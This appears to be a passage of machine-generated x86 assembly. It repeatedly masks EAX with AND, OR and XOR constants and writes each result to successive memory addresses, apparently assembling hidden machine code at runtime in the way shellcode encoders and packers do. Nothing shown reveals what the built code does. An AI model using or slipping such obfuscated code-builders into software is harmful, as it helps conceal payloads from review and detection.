mov dword [ebx], eax
add ebx, edx
or eax, 0x5e71d51f
and eax, 0x353b27b8
and eax, 0x4090110
or eax, 0x804432a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cd7e362
and eax, 0x408a0050
or eax, 0x15010824
mov dword [ebx], eax
add ebx, edx
or eax, 0x67400e2a
or eax, 0x560eebf4
and eax, 0x60452bbc
or eax, 0x88101000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x20b8aa87
and eax, 0x40890038
or eax, 0x5020844
mov dword [ebx], eax
add ebx, edx
and eax, 0x3e18248f
and eax, 0x1bef86b6
and eax, 4
or eax, 0xb8453be8
mov dword [ebx], eax
add ebx, edx
and eax, 0x626c8970
and eax, 0xb9682ee
and eax, 0x60
or eax, 0x4d8b191d
mov dword [ebx], eax
add ebx, edx
and eax, 0x36755897
or eax, 0x57ff9eba
and eax, 0x544d02b0
or eax, 0xa0002140
mov dword [ebx], eax
add ebx, edx
or eax, 0x35bbfe1e
and eax, 0x558b0874
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x576cea93
and eax, 0x54452ad0
or eax, 0xa8101100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x9c83910
and eax, 0x45890040
or eax, 0x2093d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1ffc25f9
and eax, 0x400084
or eax, 0x1808370
mov dword [ebx], eax
add ebx, edx
and eax, 0x1bec9e67
xor eax, 0x416c7510
and eax, 0x40a44500
or eax, 0xa9500089
mov dword [ebx], eax
add ebx, edx
or eax, 0x5e5449ab
and eax, 0xfff44c8a
or eax, 0xbb200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2f906c42
and eax, 0x6d59971
and eax, 0x11040
or eax, 0x10820a8
mov dword [ebx], eax
add ebx, edx
and eax, 0x52c3e2b2
or eax, 0x5342b15e
and eax, 0x1000b000
or eax, 0x840800
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc656359
xor eax, 0x13af602c
and eax, 0x5480000
or eax, 0xf0a10000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x18828b0c
and eax, 0xe8000000
or eax, 1
mov dword [ebx], eax
add ebx, edx
or eax, 0x26a65492
and eax, 0x2bc35836
and eax, 0x1010
or eax, 0x81c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1104a7f4
xor eax, 0x3145dd17
and eax, 0x12820
or eax, 0x8e04c8
mov dword [ebx], eax
add ebx, edx
and eax, 0x5b4ef92a
or eax, 0x6cb8fb80
and eax, 0x816e800
or eax, 0x1010000
mov dword [ebx], eax
add ebx, edx
or eax, 0x2c060de9
and eax, 0x3a7c239a
and eax, 0x8000000
or eax, 0x458b0001
mov dword [ebx], eax
add ebx, edx
and eax, 0x4a783c35
and eax, 0x80000
or eax, 0xa2e181d8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3fb022be
and eax, 0x89000104
or eax, 0x18
mov dword [ebx], eax
add ebx, edx
or eax, 0x47942dd4
xor eax, 0x58d72e72
and eax, 0x1503000c
or eax, 0x4088d841
mov dword [ebx], eax
add ebx, edx
or eax, 0x6b6eabec
or eax, 0x7d20515b
and eax, 0x58452bc4
or eax, 0x80100000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x65f87aca
and eax, 0x9a2c13e
and eax, 0x9804108
or eax, 0xe2441481
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d205e4a
or eax, 0x709dcc04
and eax, 0x40058808
or eax, 0x84400301
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4cfd8313
or eax, 0xf54c540
and eax, 0x8900c002
or eax, 0x10081
mov dword [ebx], eax
add ebx, edx
and eax, 0x57f04469
and eax, 0x23ec8c57
and eax, 0x1000001
or eax, 0x4c8bc444
mov dword [ebx], eax
add ebx, edx
and eax, 0x7ee82bf5
and eax, 0x50a02dbf
and eax, 4
or eax, 0xb84d3bc0
mov dword [ebx], eax
add ebx, edx
or eax, 0x515630d5
xor eax, 0x182583bb
and eax, 0x130880e
or eax, 0x850501
mov dword [ebx], eax
add ebx, edx
and eax, 0x6650aac3
xor eax, 0x29cd8671
and eax, 0x1890000
or eax, 0x54020000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1db17ed8
and eax, 0x2a02c8
or eax, 0x1c08104
mov dword [ebx], eax
add ebx, edx
xor eax, 0x41c86c15
and eax, 0x4589
or eax, 0x8bcc1000
mov dword [ebx], eax
add ebx, edx
and eax, 0x5656bc2a
and eax, 0x1000
or eax, 0xc083e845
mov dword [ebx], eax
add ebx, edx
xor eax, 0x701f6451
and eax, 0xb0048800
or eax, 0x48410101
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6ceee460
and eax, 0x804d01
or eax, 0x2350008a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7049cbcb
xor eax, 0x3c52d45d
and eax, 0x940100d
or eax, 0x34a440
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2de6373d
and eax, 0x800100
or eax, 0x8364548b
mov dword [ebx], eax
add ebx, edx
and eax, 0x71873789
and eax, 0x1800188
or eax, 0x54090062
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14b25397
and eax, 0x40010264
or eax, 0xb0448980
mov dword [ebx], eax
add ebx, edx
or eax, 0x52008e63
xor eax, 0xd774e8f
and eax, 0x7d304128
or eax, 0xcc0413
mov dword [ebx], eax
add ebx, edx
and eax, 0x1c816384
and eax, 0x4000100
or eax, 0xe04d8a09
mov dword [ebx], eax
add ebx, edx
xor eax, 0x643f930c
or eax, 0x283fc1c3
and eax, 0x8801c983
or eax, 0x1002000
mov dword [ebx], eax
add ebx, edx
or eax, 0x12cf0df5
or eax, 0x60ba2b73
and eax, 0x518be445
or eax, 0x4000008
mov dword [ebx], eax
add ebx, edx
xor eax, 0xbce81c1
and eax, 0x76eb5c13
and eax, 0x44410000
or eax, 0xa0140bd0
mov dword [ebx], eax
add ebx, edx
or eax, 0x75693d9e
or eax, 0x7fb12554
and eax, 0x119040e
or eax, 0x28001
mov dword [ebx], eax
add ebx, edx
and eax, 0x7e2a6893
or eax, 0x6ffb7425
and eax, 0x458b0000
or eax, 0
mov dword [ebx], eax
add ebx, edx
and eax, 0x53911db
and eax, 0x4010000
or eax, 0xf0443bb4
mov dword [ebx], eax
add ebx, edx
and eax, 0x55bde1a9
and eax, 0x50100
or eax, 0x10a8c0f
mov dword [ebx], eax
add ebx, edx
and eax, 0xafc2689
or eax, 0x3b6e70d8
and eax, 0x90a0000
or eax, 0x44810000
mov dword [ebx], eax
add ebx, edx
or eax, 0x29ea93ab
xor eax, 0x607615a
and eax, 0x204c32b0
or eax, 0x9001090c
mov dword [ebx], eax
add ebx, edx
and eax, 0x466facc6
and eax, 0x10915ed5
and eax, 0x10804
or eax, 0x102850b
mov dword [ebx], eax
add ebx, edx
or eax, 0x58215e04
xor eax, 0x76ac2629
and eax, 0x58b0000
or eax, 0x50000000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7472c0c
and eax, 0x50442000
or eax, 0xa41103c0
mov dword [ebx], eax
add ebx, edx
or eax, 0x43596799
and eax, 0x550409
or eax, 0xa28006
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c6d3d87
or eax, 0x5caff314
and eax, 0x448b0000
or eax, 0x1000000
mov dword [ebx], eax
add ebx, edx
or eax, 0x51d7f54f
or eax, 0x639b90f1
and eax, 0x344521d8
or eax, 0x80000200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x494bdd3a
or eax, 0x6f4977
and eax, 0x6b8407
or eax, 0x800008
mov dword [ebx], eax
add ebx, edx
and eax, 0x701e0a8b
and eax, 0x870c5d2
and eax, 0
or eax, 0x4d8b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x47c360aa
and eax, 0x8482088
or eax, 0xd0051b44
mov dword [ebx], eax
add ebx, edx
and eax, 0x7bdc86f0
and eax, 0x50080240
or eax, 0x5833d3c
mov dword [ebx], eax
add ebx, edx
or eax, 0x966dd72
and eax, 0x48453b74
or eax, 0x80100080
mov dword [ebx], eax
add ebx, edx
or eax, 0x46b2a207
and eax, 0x515b40d5
and eax, 0x40430055
or eax, 0x5840928
mov dword [ebx], eax
add ebx, edx
and eax, 0xaf6bf20
and eax, 0x4a2e52f4
and eax, 0
or eax, 0x180
mov dword [ebx], eax
add ebx, edx
or eax, 0x3b9369d1
or eax, 0x210025a1
and eax, 0x3036900
or eax, 0xc4048200
mov dword [ebx], eax
add ebx, edx
xor eax, 0x155ac416
and eax, 4
or eax, 0x8041
mov dword [ebx], eax
add ebx, edx
and eax, 0x25031906
and eax, 0
or eax, 0x458b0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x734edd2a
and eax, 0x450920
or eax, 0x800002c4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x10a62801
and eax, 0x830364
or eax, 0x4d081010
mov dword [ebx], eax
add ebx, edx
and eax, 0x5d15664d
or eax, 0x5d8a642
and eax, 0x4c492200
or eax, 0xb00419b0
mov dword [ebx], eax
add ebx, edx
and eax, 0x66de29cb
or eax, 0x56601b2a
and eax, 0x54080b28
or eax, 0x1830055
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5947c02d
or eax, 0x26cf487b
and eax, 0x4450348
or eax, 0xd0102080
mov dword [ebx], eax
add ebx, edx
or eax, 0x1fe30717
or eax, 0x7ec117c3
and eax, 0x7cf0151b
or eax, 0x4020
mov dword [ebx], eax
add ebx, edx
and eax, 0x434bcc9a
xor eax, 0x4528af1f
and eax, 0x408b04
or eax, 0xe8050008
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bb62741
xor eax, 0x204caa6a
and eax, 0xb800523
or eax, 0x4404018
mov dword [ebx], eax
add ebx, edx
and eax, 0x7c84e656
and eax, 0x400
or eax, 0xa08d
mov dword [ebx], eax
add ebx, edx
or eax, 0x3a112390
and eax, 0xf0a1664
and eax, 0x200
or eax, 0xd04d8900
mov dword [ebx], eax
add ebx, edx
xor eax, 0x201bb4a6
or eax, 0x2a515db7
and eax, 0x78544d33
or eax, 0x4a00008
mov dword [ebx], eax
add ebx, edx
or eax, 0x12a4c9a2
and eax, 0x7054891a
or eax, 0x80010240
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c7dcce0
and eax, 0x168a5bbb
and eax, 0x30a
or eax, 0xe055ac05
mov dword [ebx], eax
add ebx, edx
or eax, 0x4b31fdc0
and eax, 0xea709589
or eax, 0x14880000
mov dword [ebx], eax
add ebx, edx
or eax, 0x361229c8
and eax, 0x448abdc9
or eax, 0x1014236
mov dword [ebx], eax
add ebx, edx
xor eax, 0x616ca0d1
or eax, 0x7436649
and eax, 0x2485096c
or eax, 0xd0008090
mov dword [ebx], eax
add ebx, edx
and eax, 0x21c359e6
and eax, 0x3ec6c049
and eax, 0x800040
or eax, 0x8b7fffbe
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7d22c605
or eax, 0x3e1ec0a2
and eax, 0xe883f049
or eax, 0x1000004
mov dword [ebx], eax
add ebx, edx
or eax, 0x66e6c0cb
and eax, 0x4dff3e75
and eax, 0x40450001
or eax, 0xb0088900
mov dword [ebx], eax
add ebx, edx
and eax, 0x3697e390
and eax, 0x30008100
or eax, 0xcef8148b
mov dword [ebx], eax
add ebx, edx
or eax, 0x5921cc5
and eax, 0x953a9dcf
or eax, 0x16230
mov dword [ebx], eax
add ebx, edx
and eax, 0x61e61e28
and eax, 0xb6f263c
and eax, 0x1220620
or eax, 0xfeddf8d4
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3f5eb4be
and eax, 0x40810848
or eax, 0x50a2534
mov dword [ebx], eax
add ebx, edx
and eax, 0x666bd37d
or eax, 0x155f3614
and eax, 0x54452334
or eax, 0xa8000880
mov dword [ebx], eax
add ebx, edx
xor eax, 0x782ced93
and eax, 0x4684423
or eax, 0x78800118
mov dword [ebx], eax
add ebx, edx
and eax, 0x4fde5944
or eax, 0x2999cc44
and eax, 0x4c498900
or eax, 0x80040222
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c1e2deb
and eax, 0x8801a983
or eax, 0x1004000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3dbb29a5
and eax, 0x158bc805
or eax, 0x40000448
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4384d854
and eax, 0x2c5bdb9f
and eax, 0xa0018
or eax, 0x1e083c4
mov dword [ebx], eax
add ebx, edx
or eax, 0x16af58df
and eax, 0x3cc5189
or eax, 0x88100400
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2300df8a
and eax, 0x188801
or eax, 0x45234444
mov dword [ebx], eax
add ebx, edx
or eax, 0x5d0fb5a2
xor eax, 0x7b7c17d3
and eax, 0x2426814
or eax, 0x890815c8
mov dword [ebx], eax
add ebx, edx
and eax, 0xac45c4f
and eax, 0x800484c
or eax, 0x453ba001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7027b835
or eax, 0x66042bfc
and eax, 0xb0079d4
or eax, 0x80420400
mov dword [ebx], eax
add ebx, edx
or eax, 0x7d3756a6
and eax, 0x55334c54
or eax, 0x88001
mov dword [ebx], eax
add ebx, edx
and eax, 0xaba9f93
xor eax, 0x489f01ba
and eax, 0x8210ca8
or eax, 0x83107014
mov dword [ebx], eax
add ebx, edx
or eax, 0x12c5374d
and eax, 0x1215845
or eax, 0x440a8000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x24ee7b0f
and eax, 0x1002040
or eax, 0x8a3254a4
mov dword [ebx], eax
add ebx, edx
and eax, 0x6f384e2
and eax, 0x320440
or eax, 0x4d01e80d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x56c34691
and eax, 0x108088d4
or eax, 0xe00d0100
mov dword [ebx], eax
add ebx, edx
and eax, 0x157abd29
and eax, 0x88900
or eax, 0x8bf776fe
mov dword [ebx], eax
add ebx, edx
or eax, 0x54daef32
and eax, 0xca83ec54
or eax, 0x20000001
mov dword [ebx], eax
add ebx, edx
or eax, 0x603f198f
and eax, 0xe8158901
or eax, 0x4400000
mov dword [ebx], eax
add ebx, edx
and eax, 0x318870f4
and eax, 0x20000000
or eax, 0xdef0bd83
mov dword [ebx], eax
add ebx, edx
xor eax, 0x38a860a6
or eax, 0x38edde9d
and eax, 0x7400dfbd
or eax, 0x2042
mov dword [ebx], eax
add ebx, edx
or eax, 0x70d678e4
or eax, 0x681fecee
and eax, 0x60458b14
or eax, 0x80000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x201782d6
xor eax, 0x525bedb8
and eax, 0x32504528
or eax, 0x9a00003
mov dword [ebx], eax
add ebx, edx
and eax, 0x2d21fa39
xor eax, 0x3228326c
and eax, 0x9086045
or eax, 0x758800
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2c3fefdf
xor eax, 0x6ed20cb
and eax, 0x3a00501
or eax, 0x8050488a
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4fecc595
and eax, 0x4c080000
or eax, 0x18101c1
mov dword [ebx], eax
add ebx, edx
xor eax, 0x224c2deb
and eax, 0x2c450820
or eax, 0x901083d0
mov dword [ebx], eax
add ebx, edx
or eax, 0x3bdfa9e9
and eax, 0x89018281
or eax, 0x4002
mov dword [ebx], eax
add ebx, edx
and eax, 0x2b9454bb
and eax, 0x1000001
or eax, 0x448bbc54
mov dword [ebx], eax
add ebx, edx
or eax, 0x780e0d62
or eax, 0x3e40360e
and eax, 0x1c8835c
or eax, 0x200080
mov dword [ebx], eax
add ebx, edx
or eax, 0x6a5113d5
and eax, 0x54db2f7a
and eax, 0xd80108
or eax, 0x8b044481
mov dword [ebx], eax
add ebx, edx
or eax, 0x7cf61eed
and eax, 0xc182504d
or eax, 0x1a000
mov dword [ebx], eax
add ebx, edx
or eax, 0x26d3673c
and eax, 0x4772eda2
and eax, 0x40408100
or eax, 0xb00d0801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x74ac9876
and eax, 0x80e01103
or eax, 0x3184488
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14ccc787
or eax, 0x7ece2f4a
and eax, 0x55880142
or eax, 0x10080
mov dword [ebx], eax
add ebx, edx
xor eax, 0x2b2aaf43
and eax, 0x7c018a80
or eax, 0x80440178
mov dword [ebx], eax
add ebx, edx
and eax, 0x3176abcd
or eax, 0x6b131d4c
and eax, 0x70440500
or eax, 0x4a04023
mov dword [ebx], eax
add ebx, edx
and eax, 0x3efa85ad
xor eax, 0x5592a6c
and eax, 0x30090b08
or eax, 0x8c448000
mov dword [ebx], eax
add ebx, edx
or eax, 0x5ed9ab87
and eax, 0x6530a026
and eax, 0x64100002
or eax, 0x18e04d39
mov dword [ebx], eax
add ebx, edx
and eax, 0x6ea50efe
and eax, 0x20000808
or eax, 0x90558300
mov dword [ebx], eax
add ebx, edx
or eax, 0x4a3213e9
and eax, 0x78641129
or eax, 0x5884412
mov dword [ebx], eax
add ebx, edx
or eax, 0x606a2ccb
and eax, 0x7c440919
or eax, 0x80018200
mov dword [ebx], eax
add ebx, edx
or eax, 0x537832d7
xor eax, 0x572327d6
and eax, 0x20500409
or eax, 0x55804122
mov dword [ebx], eax
add ebx, edx
and eax, 0x53f36382
or eax, 0x5e8328e3
and eax, 0x54410900
or eax, 0x800c8208
mov dword [ebx], eax
add ebx, edx
or eax, 0x682cf8fc
or eax, 0x398b5c90
and eax, 0x74e44d20
or eax, 3
mov dword [ebx], eax
add ebx, edx
xor eax, 0x12b6b49
and eax, 0x74450208
or eax, 0x80108901
mov dword [ebx], eax
add ebx, edx
and eax, 0x394fb7fc
and eax, 0x3dafb17e
and eax, 0x18000
or eax, 0x89006a83
mov dword [ebx], eax
add ebx, edx
xor eax, 0x16bdd30d
xor eax, 0x39ff6186
and eax, 0x26415000
or eax, 0x10a8a455
mov dword [ebx], eax
add ebx, edx
and eax, 0x32556c92
and eax, 0x20416410
or eax, 0xc8be9bee
mov dword [ebx], eax
add ebx, edx
xor eax, 0x42c04461
or eax, 0x20a0cd1e
and eax, 0x10711
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
and eax, 0x7b5b4098
and eax, 0x10000
or eax, 0xc35ce58b
mov dword [ebx], eax
add ebx, edx
and eax, 0x64900a78
xor eax, 0x2a549a36
and eax, 0x4844880c
or eax, 0x848844c0
mov dword [ebx], eax
add ebx, edx
and eax, 0x47648296
and eax, 0x44448084
or eax, 0x88884c48
mov dword [ebx], eax
add ebx, edx
xor eax, 0x330a3c1c
xor eax, 0x226bfb5f
and eax, 0xcc8c088c
or eax, 0x40c440
mov dword [ebx], eax
add ebx, edx
or eax, 0x548dd011
and eax, 0xcc8954cc
or eax, 0x20020100
mov dword [ebx], eax
add ebx, edx
and eax, 0x4d4468d4
xor eax, 0x71d4baa1
and eax, 0xd0e801
or eax, 0x2000480
mov dword [ebx], eax
add ebx, edx
and eax, 0x33212cf1
and eax, 0
or eax, 0x45c70000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1d8e7132
xor eax, 0x28abec27
and eax, 0xd10
or eax, 0x11422c0
mov dword [ebx], eax
add ebx, edx
xor eax, 0xa595696
and eax, 0x8454100
or eax, 0xd0008600
mov dword [ebx], eax
add ebx, edx
or eax, 0x2bb93dd5
and eax, 0x2e10
or eax, 0x2a
mov dword [ebx], eax
add ebx, edx
and eax, 0x7d983901
and eax, 0
or eax, 0xd2c045c7
mov dword [ebx], eax
add ebx, edx
and eax, 0x2a5368e9
xor eax, 0x1067428d
and eax, 0x200000c
or eax, 0xc5000102
mov dword [ebx], eax
add ebx, edx
and eax, 0x3fda9f49
xor eax, 0x37115a7
and eax, 0x301005
or eax, 0xfa8ce840
mov dword [ebx], eax
add ebx, edx
and eax, 0x578ae971
and eax, 0x40800000
or eax, 0x5470000
mov dword [ebx], eax
add ebx, edx
or eax, 0x35d070a2
xor eax, 0x3fee5984
and eax, 0x390004
or eax, 0x14242d8
mov dword [ebx], eax
add ebx, edx
or eax, 0x67f59e13
and eax, 0x6ce01a68
and eax, 0x60400200
or eax, 0x8805c500
mov dword [ebx], eax
add ebx, edx
xor eax, 0xc8aa661
and eax, 0x388b13db
and eax, 0x101
or eax, 0xa698
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6831aaca
or eax, 0x467af751
and eax, 0x6c484543
or eax, 0x11840084
mov dword [ebx], eax
add ebx, edx
and eax, 0x1cdeb8f7
and eax, 0x4000086
or eax, 0xc3000100
mov dword [ebx], eax
add ebx, edx
and eax, 0x4b4c76e2
and eax, 0x3000000
or eax, 0xc9db045
mov dword [ebx], eax
add ebx, edx
xor eax, 0x43a8e94f
and eax, 0x44050000
or eax, 0x1c20000
mov dword [ebx], eax
add ebx, edx
and eax, 0xbde29a3
and eax, 0x1000000
or eax, 0x3939e0
mov dword [ebx], eax
add ebx, edx
and eax, 0x76ea43e2
xor eax, 0x60fca043
and eax, 0x60448100
or eax, 0x9c014600
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5e18d762
and eax, 0x7ae88e97
and eax, 2
or eax, 0x142b5
mov dword [ebx], eax
add ebx, edx
or eax, 0x35f3129b
or eax, 0x5b9be3b
and eax, 0x24b04487
or eax, 0x42040140
mov dword [ebx], eax
add ebx, edx
or eax, 0x59e0ea10
and eax, 0x47000143
or eax, 0x80000008
mov dword [ebx], eax
add ebx, edx
or eax, 0x6d896755
and eax, 0x2c8cd6a5
and eax, 0x804405
or eax, 0x558040
mov dword [ebx], eax
add ebx, edx
and eax, 0x223b722
and eax, 0x3abd8640
and eax, 0x10000
or eax, 0x45c60001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x14e9f8b7
and eax, 0x41ee7cdb
and eax, 0x2e0890
or eax, 0x918728
mov dword [ebx], eax
add ebx, edx
or eax, 0x1684637c
xor eax, 0x653579af
and eax, 0x70008600
or eax, 0x84454100
mov dword [ebx], eax
add ebx, edx
xor eax, 0x50355a12
and eax, 0x25eb73be
and eax, 0x12
or eax, 0x88d
mov dword [ebx], eax
add ebx, edx
xor eax, 0x73442ca3
or eax, 0x2e0e0c6e
and eax, 0x49440446
or eax, 0x80a04181
mov dword [ebx], eax
add ebx, edx
and eax, 0x1e06b268
or eax, 0x3ecaa3b9
and eax, 0x6000099
or eax, 0xc1000004
mov dword [ebx], eax
add ebx, edx
xor eax, 0x119f7729
xor eax, 0x42634c55
and eax, 0x14e42841
or eax, 0x6302c404
mov dword [ebx], eax
add ebx, edx
and eax, 0x10c376c9
and eax, 0xc20001
or eax, 0x45050000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48a8b432
or eax, 0x77fbd3c
and eax, 0x10a153c
or eax, 0x280
mov dword [ebx], eax
add ebx, edx
and eax, 0x795f71dd
and eax, 0x100
or eax, 0xd445c600
mov dword [ebx], eax
add ebx, edx
and eax, 0x57cf5746
and eax, 0x4500
or eax, 0x84f
mov dword [ebx], eax
add ebx, edx
and eax, 0x4c369348
and eax, 0x140
or eax, 0x69f04487
mov dword [ebx], eax
add ebx, edx
and eax, 0x686b6780
or eax, 0x2bcd3ce4
and eax, 0x430000c0
or eax, 0x8400000b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5de6bc39
xor eax, 0x7045d506
and eax, 0x82014844
or eax, 0x101c8001
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c26af58
and eax, 0x44030000
or eax, 0x1c40000
mov dword [ebx], eax
add ebx, edx
or eax, 0x10e941c8
and eax, 0x1010188
or eax, 0x108624
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5d2fc90b
and eax, 0x58040a00
or eax, 0x80418100
mov dword [ebx], eax
add ebx, edx
or eax, 0x4eb67a5
and eax, 0xee025
or eax, 0x100008
mov dword [ebx], eax
add ebx, edx
or eax, 0x2282aa46
and eax, 0x48800
or eax, 0xd8410100
mov dword [ebx], eax
add ebx, edx
or eax, 0x1ccfab8a
xor eax, 0x1c91b0bb
and eax, 0x580901
or eax, 0x3a0448a
mov dword [ebx], eax
add ebx, edx
and eax, 0x25a5569
xor eax, 0x5d422a4
and eax, 0x588400d
or eax, 0x48019840
mov dword [ebx], eax
add ebx, edx
or eax, 0x295e5314
and eax, 0x909cb58
or eax, 0x820020a0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x5fea1eb0
or eax, 0x2f4fe486
and eax, 0xc283f044
or eax, 0x811
mov dword [ebx], eax
add ebx, edx
or eax, 0x202ca89b
or eax, 0x64b25638
and eax, 0xe0158801
or eax, 0x18400100
mov dword [ebx], eax
add ebx, edx
or eax, 0x63a6a3fd
and eax, 0x490d6ffe
and eax, 0x9000188
or eax, 0x32f84403
mov dword [ebx], eax
add ebx, edx
and eax, 0xdefbdd2
or eax, 0x11d12fb7
and eax, 0x9092c05
or eax, 0x84069040
mov dword [ebx], eax
add ebx, edx
or eax, 0x531bcf0f
xor eax, 0x57ad1e80
and eax, 0x182
or eax, 0x20
mov dword [ebx], eax
add ebx, edx
xor eax, 0x795f0dc9
xor eax, 0xdd7f7ad
and eax, 0x804982
or eax, 0x83300409
mov dword [ebx], eax
add ebx, edx
or eax, 0x7013b88a
and eax, 0x41810181
or eax, 0xc080040
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e4522d8
or eax, 0x56bfae53
and eax, 0x5c558b90
or eax, 0x80000020
mov dword [ebx], eax
add ebx, edx
and eax, 0x6eea43bf
and eax, 0x44400120
or eax, 0x31885403
mov dword [ebx], eax
add ebx, edx
xor eax, 0x19dd62ee
xor eax, 0x11c769d
and eax, 0x20010140
or eax, 0x90448a05
mov dword [ebx], eax
add ebx, edx
or eax, 0x5c3958f9
xor eax, 0x9d8ad91
and eax, 0xf5240408
or eax, 0xa088181
mov dword [ebx], eax
add ebx, edx
or eax, 0x6302ae83
xor eax, 0x660a248
and eax, 0x490a0dc3
or eax, 0x481f23c
mov dword [ebx], eax
add ebx, edx
or eax, 0x6751543e
and eax, 0x288989cc
or eax, 0x40000
mov dword [ebx], eax
add ebx, edx
and eax, 0x233277ea
or eax, 0x3a35efd0
and eax, 0xa35efd8
or eax, 0x81ca1027
mov dword [ebx], eax
add ebx, edx
or eax, 0x30eda54d
or eax, 0x722e6cb0
and eax, 0xea83cc55
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x17f63955
and eax, 0x717c1607
and eax, 0x40540000
or eax, 0x8c018901
mov dword [ebx], eax
add ebx, edx
xor eax, 0xe0557ca
xor eax, 0x32ccdcab
and eax, 0xf00c0000
or eax, 0xf20858b
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7c7e48b9
and eax, 0x1cf1d00e
and eax, 0x10c002
or eax, 0x852b3ffd
mov dword [ebx], eax
add ebx, edx
or eax, 0x1b9292cf
xor eax, 0x6ae0183d
and eax, 0xf55be700
or eax, 0xaa41828
mov dword [ebx], eax
add ebx, edx
xor eax, 0x485e6d3c
or eax, 0x7fa373fe
and eax, 0x4d83037c
or eax, 0x80801
mov dword [ebx], eax
add ebx, edx
xor eax, 0x3117cb09
and eax, 0x600c0024
or eax, 0x80410b88
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6a841b53
or eax, 0x1b61f89
and eax, 0x8fc0d3b
or eax, 0x74004000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x48023ba0
and eax, 0x34540211
or eax, 0xc8018900
mov dword [ebx], eax
add ebx, edx
and eax, 0xf29f7e7
and eax, 0x5c7fc252
and eax, 0x8018200
or eax, 0x81006883
mov dword [ebx], eax
add ebx, edx
xor eax, 0x138812b3
xor eax, 0x41ae527c
and eax, 0x4103a844
or eax, 0x4885411
mov dword [ebx], eax
add ebx, edx
xor eax, 0x4621f80a
and eax, 0x50
or eax, 0xfc453b80
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6194c0cb
and eax, 0xd810919
or eax, 0x400a0064
mov dword [ebx], eax
add ebx, edx
xor eax, 0x7913af69
and eax, 0x8c0585e
and eax, 0x800000
or eax, 0x14183c8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x696dc9d5
and eax, 0x8884809
or eax, 0x83400580
mov dword [ebx], eax
add ebx, edx
and eax, 0x3ed0a518
and eax, 0x2800400
or eax, 0xc003d855
mov dword [ebx], eax
add ebx, edx
or eax, 0x7b76a9d7
and eax, 0xd8558901
or eax, 0x4000000
mov dword [ebx], eax
add ebx, edx
and eax, 0x2980d8ee
and eax, 0
or eax, 0x83c4458b
mov dword [ebx], eax
add ebx, edx
and eax, 0x78ea5935
and eax, 0x5907f2b5
and eax, 0
or eax, 0x458901e8
mov dword [ebx], eax
add ebx, edx
xor eax, 0x575d5a3c
or eax, 0x39aa28e1
and eax, 0x4c0bc4
or eax, 0xc0018000
mov dword [ebx], eax
add ebx, edx
or eax, 0x3e96856f
or eax, 0x46659458
and eax, 0x88018183
or eax, 0x1004000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x1b67ed0a
and eax, 0x10020009
or eax, 0x4589c044
mov dword [ebx], eax
add ebx, edx
and eax, 0x1aba75fa
and eax, 0x10000040
or eax, 0xcc553b80
mov dword [ebx], eax
add ebx, edx
or eax, 0x43f09bcf
and eax, 0x45c5094d
or eax, 0x20030
mov dword [ebx], eax
add ebx, edx
or eax, 0x55f08d90
or eax, 0x6f88c5a4
and eax, 0x1a0
or eax, 0
mov dword [ebx], eax
add ebx, edx
xor eax, 0x21066fc1
or eax, 0x4271365b
and eax, 0x43076a00
or eax, 0x84008100
mov dword [ebx], eax
add ebx, edx
and eax, 0x28e1b00f
and eax, 0x6a96cedd
and eax, 0x8000
or eax, 0x2045
mov dword [ebx], eax
add ebx, edx
and eax, 0x176d6570
or eax, 0x77a52dfe
and eax, 0x45810000
or eax, 0xa0000
mov dword [ebx], eax
add ebx, edx
xor eax, 0x6f3ccca
or eax, 0x1b3c9287
and eax, 0x440288
or eax, 0xa0012130
mov dword [ebx], eax
